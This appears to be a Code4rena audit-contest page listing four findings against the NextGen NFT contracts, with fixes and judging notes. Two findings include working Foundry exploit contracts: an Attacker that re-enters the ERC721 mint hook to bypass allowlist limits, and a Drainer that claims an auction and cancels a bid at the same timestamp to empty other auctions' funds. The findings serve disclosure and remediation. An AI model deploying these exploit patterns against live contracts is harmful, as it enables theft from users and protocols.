Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 13/243
Findings: 4
Award: $826.02
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L195 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L196-L254
An allowlisted minter who is a malicious smart contract can re-enter during the ERC721 hook to bypass the maximum allowance during the allowlist minting. This can have negative economic effects for the collection e.g. if the mint is popular, the attacker can mint as many NFTs as they like.
MinterContract
provides the functionality to set a special minting period before the public mint, where only allowlisted addresses can mint tokens. The allowlist is implemented as a merkle tree and allowlisted participants must supply a valid merkle proof to be allowed to mint a token. The nodes of the merkle tree are encoded as such: keccak256(abi.encodePacked(user, maxAllowance, tokenData))
- the address of the allowlisted user, a uint256 maxAllowance
representing the maximum number of tokens mintable during the allowlist period and tokenData
, string data encoded with the token.
The call flow to mint during allowlist is:
MinterContract.mint
, supplying alongside other parameters uint256 _maxAllowance
, string _tokenData
and bytes32[] calldata merkleProof
. Then the node for the user is calculated, the allowance is checked, and the proof for the node is verified (MinterContract.sol#L215-L220):... } else { node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData)); require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit"); mintingAddress = msg.sender; } require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');
NextGenCore.mint
is dispatched (MinterContract.sol#L236)NextGenCore.mint
the mint is processed by _mintProcessing
and after that the counter for the number of allowlist minted tokens by the user is increased (NextGenCore.sol#L192-L199)So in summary, the maxAllowance
is checked before the ERC721 mint happens and updated after the ERC721 mint happens.
If we can reenter and call MinterContract.mint
again in the onERC721Received
hook when _safeMint
is called, then the number of allowlist minted tokens will not be updated before the second call. This effectively bypasses the maxAllowance
.
The following Foundry test demonstrates the vulnerability. An Attacker
contract is implemented, which calls MinterContract.mint
again 4 additional times the onERC721Received
hook. The test demonstrates that despite having maxAllowance=1
, Attacker
can mint as many tokens as they like.
To run the PoC within the contest repo:
forge init
in the root directory of the contest repo.foundry.toml
configuration file with:[profile.default] src = "smart-contracts" out = "out" libs = ["lib"]
test/MintAboveLimitPoC.t.sol
and paste the contents of the PoC:// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; contract MintAboveLimitPoC is Test { NextGenAdmins admins; NextGenCore gencore; NextGenMinterContract minter; NextGenRandomizerNXT randomizer; function setUp() public { admins = new NextGenAdmins(); gencore = new NextGenCore("Collection", "NFT", address(admins)); minter = new NextGenMinterContract(address(gencore), address(0xdead), address(admins)); randomPool randoms = new randomPool(); randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(gencore)); gencore.addMinterContract(address(minter)); gencore.addRandomizer(1, address(randomizer)); } function test_BypassAllowance() public { gencore.createCollection("", "", "", "", "", "", "", new string[](0)); uint256 collectionID = 1; Attacker attacker = new Attacker(minter); // Build merkle tree. Note that allowance is 1. bytes32 attackerNode = keccak256(abi.encodePacked(address(attacker), uint256(1), "data")); bytes32 siblingNode = keccak256( abi.encodePacked(0x2222222222222222222222222222222222222222, uint256(1), "data") ); bytes32 merkleRoot = attackerNode < siblingNode ? keccak256(abi.encodePacked(attackerNode, siblingNode)) : keccak256(abi.encodePacked(siblingNode, attackerNode)); // The merkle proof for the attacker is just the sibling. bytes32[] memory merkleProof = new bytes32[](1); merkleProof[0] = siblingNode; gencore.setCollectionData( collectionID, // uint256 _collectionID, address(0x1111), // address _collectionArtistAddress, 10_000, // uint256 _maxCollectionPurchases, 10_000, // uint256 _collectionTotalSupply, 1 days // uint256 _setFinalSupplyTimeAfterMint ); minter.setCollectionCosts( collectionID, // uint256 _collectionID, 1 ether, // uint256 _collectionMintCost, 1 ether, // uint256 _collectionEndMintCost, 0, // uint256 _rate, 0, // uint256 _timePeriod, 1, // uint8 _salesOption, address(0) // address _delAddress ); minter.setCollectionPhases( collectionID, // uint256 _collectionID, 1e6, // uint256 _allowlistStartTime, 2e6, // uint256 _allowlistEndTime, 2e6, // uint256 _publicStartTime, 2e6, // uint256 _publicEndTime, merkleRoot // bytes32 _merkleRoot ); vm.warp(1e6 + 1); // In allowlist phase attacker.configure(collectionID, 5, 1 ether, "data", merkleProof); attacker.mintMany{value: 5 ether}(); console2.log("Attacker minted %s NFTs", gencore.balanceOf(address(attacker))); } } contract Attacker { address owner; NextGenMinterContract minter; uint256 collectionID; uint256 amountToMint; uint256 singlePrice; string tokenData; bytes32[] merkleProof; constructor(NextGenMinterContract _minter) { owner = msg.sender; minter = _minter; } function configure( uint256 _collectionID, uint256 _amountToMint, uint256 _singlePrice, string memory _tokenData, bytes32[] memory _merkleProof ) external payable { require(msg.sender == owner); collectionID = _collectionID; amountToMint = _amountToMint; singlePrice = _singlePrice; tokenData = _tokenData; delete merkleProof; for (uint256 i = 0; i < _merkleProof.length; ++i) { merkleProof.push(_merkleProof[i]); } } function mintMany() external payable { require(msg.sender == owner); _mintSingle(); } function _mintSingle() private { amountToMint--; minter.mint{value: singlePrice}( collectionID, 1, 1, "data", address(this), merkleProof, address(0), 0 ); } function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) { if (amountToMint > 0) { _mintSingle(); } return 0x150b7a02; } }
forge test --mc MintAboveLimitPoC -vvv
Attacker
minted 5 NFTs despite having maxAllowance=1
Logs: Attacker minted 5 NFTs
Manual review, Foundry tests
This bug is present due to a violation in the Check-Effects-Interactions pattern. In particular, the counter for the number of allowlist-minted NFTs should be updated before the ERC721 mint happens.
In NextGenCore.mint
change the logic in (NextGenCore.sol#L192-L199) from
if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } }
to
if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); }
Re-running the PoC after the fix is applied now reverts as expected due to the allowlist limit being hit:
[FAIL. Reason: AL limit] test_BypassAllowance() (gas: 1338142)
Reentrancy
#0 - c4-pre-sort
2023-11-19T15:06:57Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T13:59:55Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:38:01Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:40:29Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:24Z
alex-ppg marked the issue as satisfactory
#5 - c4-judge
2023-12-09T00:18:52Z
alex-ppg changed the severity to 3 (High Risk)
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L130
Detailed description of the impact of this finding.
Observe the implementation of cancelBid
:
function cancelBid(uint256 _tokenid, uint256 index) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); auctionInfoData[_tokenid][index].status = false; (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); }
Note how a bid can be cancelled when block.timestamp == minter.getAuctionEndTime(_tokenid)
. After a cancellation the bid's status is set to false
so that it cannot be cancelled again and it is not considered when calculating the winner.
Observe the implementation of claimAuction
:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
Note how an auction can be claimed when block.timestamp == minter.getAuctionEndTime(_tokenid)
. Inside the for-loop a bid with status=true
is eligible for a refund or claim transfer. But after a bid is processed its status is not set to false.
We can sketch an attack which can be carried out when block.timestamp == minter.getAuctionEndTime(_tokenid)
. At that timestamp both cancelBid
and claimAuction
can be called. Consider a particular bid. We first call claimAuction
which processes the bid (either sent to owner if it's winning or refunded if it's not). The bid's status is still true
. We can then call cancelBid
to get a refund for the bid. So this bid will be paid out twice. If there is outstanding balance for another auction, then that auction will be drained for the bid amount.
The following concrete attack sequence is implemented in the PoC below:
MinterContract.mintAndAuction
is called by an admin. The ATTACKER's auctionEndTime
coincides exactly with the timestamp of an Ethereum block. The likelihood for this is high, see Discussion below.MinterContract.mintAndAuction
is called by an admin. The VICTIM's auction begins while the ATTACKER's auction is still running.block.timestamp = ATTACKER auctionEndTime
the ATTACKER submits the attack sequence using a DRAINER contract:
participateToAuction
.claimAuction
for the ATTACKER auction. This settles the bids and transfers the NFT to DRAINER.cancelBid
. The bid is paid out twice, which reduces the balance available for the VICTIM auction.To run the PoC within the contest repo:
forge init
in the root directory of the contest repo.foundry.toml
configuration file with:[profile.default] src = "smart-contracts" out = "out" libs = ["lib"]
test/DrainRunningAuctionPoC.t.sol
and paste the contents of the PoC:// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; import {IERC721} from "../smart-contracts/IERC721.sol"; contract DrainRunningAuctionPoC is Test { address constant VICTIM = address(0x1111); address constant ATTACKER = address(0x2222); address constant BIDDER = address(0x3333); NextGenAdmins admins; NextGenCore gencore; NextGenMinterContract minter; auctionDemo auction; NextGenRandomizerNXT randomizer; function setUp() public { vm.deal(BIDDER, 1000 ether); admins = new NextGenAdmins(); gencore = new NextGenCore("Collection", "NFT", address(admins)); minter = new NextGenMinterContract(address(gencore), address(0xdead), address(admins)); randomPool randoms = new randomPool(); randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(gencore)); gencore.addMinterContract(address(minter)); gencore.addRandomizer(1, address(randomizer)); auction = new auctionDemo(address(minter), address(gencore), address(admins)); gencore.createCollection("", "", "", "", "", "", "", new string[](0)); uint256 collectionID = 1; gencore.setCollectionData(collectionID, address(0), 10_000, 10_000, 1 days); minter.setCollectionCosts( collectionID, // uint256 _collectionID, 1 ether, // uint256 _collectionMintCost, 1 ether, // uint256 _collectionEndMintCost, 0, // uint256 _rate, 1 minutes, // uint256 _timePeriod, 2, // uint8 _salesOption, address(0) // address _delAddress ); minter.setCollectionPhases( collectionID, // uint256 _collectionID, 1e6, // uint256 _allowlistStartTime, 1e6, // uint256 _allowlistEndTime, 1e6, // uint256 _publicStartTime, 2e6, // uint256 _publicEndTime, 0 // bytes32 _merkleRoot ); } function test_Drain() public { // ATTACKER mints and auctions NFT. vm.warp(1e6); uint256 attackerAuctionEndTime = block.timestamp + 1 days; minter.mintAndAuction(ATTACKER, "", 0, 1, attackerAuctionEndTime); uint256 attackerTokenId = 10000000000; vm.prank(ATTACKER); gencore.approve(address(auction), attackerTokenId); // At the next mint period, VICTIM mints and auctions NFT. vm.warp(1e6 + 1 minutes); uint256 victimAuctionEndTime = block.timestamp + 1 days; minter.mintAndAuction(VICTIM, "", 0, 1, victimAuctionEndTime); uint256 victimTokenId = 10000000001; vm.prank(VICTIM); gencore.approve(address(auction), victimTokenId); // VICTIM's auction has 5 ether in bids. vm.prank(BIDDER); auction.participateToAuction{value: 5 ether}(victimTokenId); // ATTACKER observes that there will be a block at exactly the end time of his auction // ATTACKER executes the draining attack uint256 auctionBalanceBefore = address(auction).balance; vm.warp(attackerAuctionEndTime); vm.startPrank(ATTACKER); vm.deal(ATTACKER, 5 ether); Drainer drainer = new Drainer(auction, gencore, attackerTokenId); drainer.drain{value: 5 ether}(0); uint256 auctionBalanceAfter = address(auction).balance; assertEq(auctionBalanceAfter, 0); console2.log("Attack: AuctionDemo balance: %s -> %s", auctionBalanceBefore, auctionBalanceAfter); uint256 victimOutstandingBid = auction.returnHighestBid(victimTokenId); console2.log("Outstanding bids in VICTIM auction=%s", victimOutstandingBid); } receive() external payable {} } contract Drainer { address immutable owner; auctionDemo immutable auction; NextGenCore immutable gencore; uint256 immutable tokenId; uint256 bidIndex; bool hasCancelled; constructor(auctionDemo _auction, NextGenCore _gencore, uint256 _tokenId) { owner = msg.sender; auction = _auction; gencore = _gencore; tokenId = _tokenId; } function drain(uint256 nextBidIndex) external payable { require(msg.sender == owner); // At exactly the end time we can both claim auction and cancel bid! auction.participateToAuction{value: msg.value}(tokenId); auction.claimAuction(tokenId); auction.cancelBid(tokenId, nextBidIndex); // Send all proceeds back to owner payable(owner).call{value: address(this).balance}(""); } function onERC721Received(address operator, address, uint256 _tokenId, bytes memory) external returns (bytes4) { // Return to owner gencore.transferFrom(address(this), owner, _tokenId); return 0x150b7a02; } receive() external payable {} }
forge test --mc DrainRunningAuctionPoC -vvv
Logs: Attack: AuctionDemo balance: 5000000000000000000 -> 0 Outstanding bids in VICTIM auction=5000000000000000000
block.timestamp == minter.getAuctionEndTime(_tokenid)
?This is likely. Post-Merge block slots are equally spaced at 12-second intervals. Validators cannot modify the block.timestamp
the same way miners could pre-Merge. For a random auction duration the proability is 1/12 = 8.33%
. However, in practice an auction's duration is likely to be a multiple of a minute, hour, day or week. In all of these cases the end time will coincide with a block.
Manual review, Foundry
In claimAuction
change the require condition from block.timestamp >= minter.getAuctionEndTime(_tokenid)
to block.timestamp > minter.getAuctionEndTime(_tokenid)
. This will deny the abiility to make and cancel bids while the auction can be claimed. Additionally, it is prudent to set a bid's status
to false
after processing it in claimAuction
.
Rug-Pull
#0 - c4-pre-sort
2023-11-15T09:40:09Z
141345 marked the issue as duplicate of #962
#1 - c4-pre-sort
2023-11-15T09:40:17Z
141345 marked the issue as not a duplicate
#2 - c4-pre-sort
2023-11-15T09:40:25Z
141345 marked the issue as duplicate of #1172
#3 - c4-judge
2023-12-06T21:28:02Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T18:20:42Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: bird-flu
Also found by: 00decree, 0xAadi, AS, Audinarey, DeFiHackLabs, Eigenvectors, Fitro, Hama, Kaysoft, Krace, REKCAH, SovaSlava, The_Kakers, Viktor_Cortess, cartlex_, degensec, devival, evmboi32, funkornaut, jacopod, openwide, peanuts, rotcivegaf, smiling_heretic, xAriextz, xiao
25.2356 USDC - $25.24
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L111-L114
In AuctionDemo.claimAuction
the winning bid is transferred to the inherited Ownable.owner()
instead of the owner of the auctioned token. This means that the user that is auctioning their minted NFT will not receive the proceeds of their auction.
AuctionDemo.sol
is an implementation of a highest-bidder auction for NFTs auctioned with MinterContract
's built-in mintAndAuction
mechanism. After the auction ends the highest bidder or an admin can call claimAuction
to get the NFT and settle the bids.
Bug: the winning bid is erroneously sent to owner()
which is the contract owner given by the OZ Ownable
module. Instead, the winning bid must be sent to the owner of the auctioned token.
The following Foundry test demonstrates the vulnerability. After claimAuction
is called the winning bid is transferred to the Ownable owner instead of the token owner.
To run the PoC within the contest repo:
forge init
in the root directory of the contest repo.foundry.toml
configuration file with:[profile.default] src = "smart-contracts" out = "out" libs = ["lib"]
test/AuctionProceedsPoC.t.sol
and paste the contents of the PoC:// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; contract AuctionProceedsPoC is Test { address constant AUCTIONEER = address(0x1111); address constant OWNER = address(0x2222); address constant BIDDER = address(0xbbbb); NextGenAdmins admins; NextGenCore gencore; NextGenMinterContract minter; auctionDemo auction; NextGenRandomizerNXT randomizer; function setUp() public { vm.deal(BIDDER, 1000 ether); admins = new NextGenAdmins(); gencore = new NextGenCore("Collection", "NFT", address(admins)); minter = new NextGenMinterContract(address(gencore), address(0xdead), address(admins)); randomPool randoms = new randomPool(); randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(gencore)); gencore.addMinterContract(address(minter)); gencore.addRandomizer(1, address(randomizer)); auction = new auctionDemo(address(minter), address(gencore), address(admins)); gencore.createCollection("", "", "", "", "", "", "", new string[](0)); uint256 collectionID = 1; gencore.setCollectionData(collectionID, address(0), 10_000, 10_000, 1 days); minter.setCollectionCosts( collectionID, // uint256 _collectionID, 1 ether, // uint256 _collectionMintCost, 1 ether, // uint256 _collectionEndMintCost, 0, // uint256 _rate, 60, // uint256 _timePeriod, 2, // uint8 _salesOption, address(0) // address _delAddress ); minter.setCollectionPhases( collectionID, // uint256 _collectionID, 1e6, // uint256 _allowlistStartTime, 1e6, // uint256 _allowlistEndTime, 1e6, // uint256 _publicStartTime, 2e6, // uint256 _publicEndTime, 0 // bytes32 _merkleRoot ); } function test_Proceeds() public { // set the owner in Ownable.sol auction.transferOwnership(OWNER); // AUCTIONEER mints and auctions NFT vm.warp(1e6); uint256 auctionEndTime = 1e6 + 1 hours; minter.mintAndAuction(AUCTIONEER, "", 0, 1, auctionEndTime); uint256 tokenId = 10000000000; vm.prank(AUCTIONEER); gencore.approve(address(auction), tokenId); // BIDDER bids 1 ether vm.prank(BIDDER); auction.participateToAuction{value: 1 ether}(tokenId); uint256 ownerBalanceBefore = OWNER.balance; uint256 auctioneerBalanceBefore = AUCTIONEER.balance; // BIDDER wins auction with 1 ether bid vm.warp(auctionEndTime + 1); vm.prank(BIDDER); auction.claimAuction(tokenId); uint256 ownerReceived = OWNER.balance - ownerBalanceBefore; uint256 auctioneerReceived = AUCTIONEER.balance - auctioneerBalanceBefore; console2.log("contract owner received %s ether", ownerReceived); console2.log("token owner received %s ether", auctioneerReceived); } }
forge test --mc AuctionProceedsPoC -vvv
Logs: contract owner received 1000000000000000000 ether token owner received 0 ether
Manual review, Foundry
Change the recipient of the winning bid to ownerOfToken
(see the link to the code block for context).
Before:
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } ...
After:
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(ownerOfToken).call{value: highestBid}(""); emit ClaimAuction(ownerOfToken, _tokenid, success, highestBid); } ...
Re-running the PoC demonstrates that the invalid behavior is fixed:
Logs: contract owner received 0 ether token owner received 1000000000000000000 ether
ETH-Transfer
#0 - c4-pre-sort
2023-11-19T15:07:16Z
141345 marked the issue as duplicate of #245
#1 - c4-judge
2023-12-08T22:28:04Z
alex-ppg marked the issue as satisfactory
#2 - c4-judge
2023-12-09T00:22:20Z
alex-ppg changed the severity to 2 (Med Risk)
800.6263 USDC - $800.63
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L553-L557
For a Linear Descending Sale the price returned by getPrice
in the last period where the price descends will incorrectly be the resting price.
MinterContract
allows collection creators to set a Sales Model for public mints using setCollectionCosts
combined with setCollectionPhases
to define the timespan of the public sale. One of the available sales models is the Linear Descending Sale.
Linear Descending Sale At each time period (which can vary), the minting cost decreases linearly until it reaches its resting price (ending minting cost) and stays there until the end of the minting phase.
Borrowing the example from the documentation, if we have a starting price of 4ETH, a resting (end) price of 3ETH and a descending rate of 0.1ETH per period, then the quote price must be:
In the code the Linear Descending Sale strategy is used by calling MinterContract.setCollectionCosts
with salesOption=2
, non-zero values for _collectionMintCost
, _collectionEndMintCost
, _rate
and _timePeriod
. The relevant getPrice
logic is (see links for context):
... if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) { price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate); } else { price = collectionPhases[_collectionId].collectionEndMintCost; }
The price is decreased for every elapsed period tDiff
until the resting price is reached.
The vulnerability stems from the division in the if
condition. Take collectionMintCost=1 ether
, collectionEndMintCost=0.81 ether
and rate=0.1 ether
. Then the expression before the >
sign evaluates to (1e18 - 0.81e18) / 0.1e18 = 0.19e18 / 0.1e18 = 1
with the .9
truncated. This means that at period 1 (tDiff = 1
) the else
branch will be hit, returning 0.81 ether
as the price whereas the expected price according to the sales model is 0.9 ether
.
The following Foundry test demonstrates the bug. A linear descending price public sale is set up with startPrice=1 ether
, endPrice=0.81 ether
, rate=0.1 ether
, period=1 minutes
. The test prints the return price from getPrice
for the first 3 periods. At the second period the actual price is 0.81 ether
whereas the expect price according to the model is 0.9 ether
.
To run the PoC within the contest repo:
forge init
in the root directory of the contest repo.foundry.toml
configuration file with:[profile.default] src = "smart-contracts" out = "out" libs = ["lib"]
test/IncorrectPricePoC.t.sol
and paste the contents of the PoC:// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "forge-std/Test.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; contract IncorrectPricePoC is Test { uint256 constant collectionID = 1; uint256 constant startPrice = 1 ether; uint256 constant endPrice = 0.81 ether; uint256 constant rate = 0.1 ether; uint256 constant period = 1 minutes; NextGenAdmins admins; NextGenCore gencore; NextGenMinterContract minter; function setUp() public { admins = new NextGenAdmins(); gencore = new NextGenCore("Collection", "NFT", address(admins)); minter = new NextGenMinterContract(address(gencore), address(0xdead), address(admins)); gencore.addMinterContract(address(minter)); gencore.createCollection("", "", "", "", "", "", "", new string[](0)); gencore.setCollectionData( collectionID, // uint256 _collectionID, address(0x1111), // address _collectionArtistAddress, 10_000, // uint256 _maxCollectionPurchases, 10_000, // uint256 _collectionTotalSupply, 1 days // uint256 _setFinalSupplyTimeAfterMint ); minter.setCollectionCosts( collectionID, // uint256 _collectionID, startPrice, // uint256 _collectionMintCost, endPrice, // uint256 _collectionEndMintCost, rate, // uint256 _rate, period, // uint256 _timePeriod, 2, // uint8 _salesOption, address(0) // address _delAddress ); minter.setCollectionPhases( collectionID, // uint256 _collectionID, 1e6, // uint256 _allowlistStartTime, 1e6, // uint256 _allowlistEndTime, 1e6, // uint256 _publicStartTime, 2e6, // uint256 _publicEndTime, 0 // bytes32 _merkleRoot ); } function test_PoC() public { _snapshotPrice(0); _snapshotPrice(1); _snapshotPrice(2); } function _snapshotPrice(uint256 k) private { vm.warp(1e6 + k * period); uint256 expectedPrice = startPrice - k * rate; if (expectedPrice < endPrice) expectedPrice = endPrice; uint256 actualPrice = minter.getPrice(collectionID); console2.log("at t=+%smin expectedPrice=%s, actualPrice=%s", k, expectedPrice, actualPrice); } }
forge test --mc IncorrectPricePoC -vvv
Logs: at t=+0min expectedPrice=1000000000000000000, actualPrice=1000000000000000000 at t=+1min expectedPrice=900000000000000000, actualPrice=810000000000000000 at t=+2min expectedPrice=810000000000000000, actualPrice=810000000000000000
Manual Review, Foundry testing
The root cause for the bug is the truncating division in the if
clause as discussed above. A common practice to eliminate such issues is to introduce a precision factor when doing arithmetic that contains division.
Introduce a precision factor of 1e27
by changing if
clause as such:
if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) * 1e27 / (collectionPhases[_collectionId].rate)) > tDiff * 1e27) { price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate); } else { price = collectionPhases[_collectionId].collectionEndMintCost; }
Re-run the PoC and observe that the price is now calculated correctly:
Logs: at t=+0min expectedPrice=1000000000000000000, actualPrice=1000000000000000000 at t=+1min expectedPrice=900000000000000000, actualPrice=900000000000000000 at t=+2min expectedPrice=810000000000000000, actualPrice=810000000000000000
It is prudent to use the scaling factor in all instances of division in the getPrice
code.
Math
#0 - c4-pre-sort
2023-11-19T15:08:12Z
141345 marked the issue as duplicate of #469
#1 - c4-judge
2023-12-06T09:46:25Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-06T09:46:39Z
alex-ppg marked the issue as unsatisfactory: Out of scope
#3 - c4-judge
2023-12-06T09:48:11Z
alex-ppg marked the issue as duplicate of #271
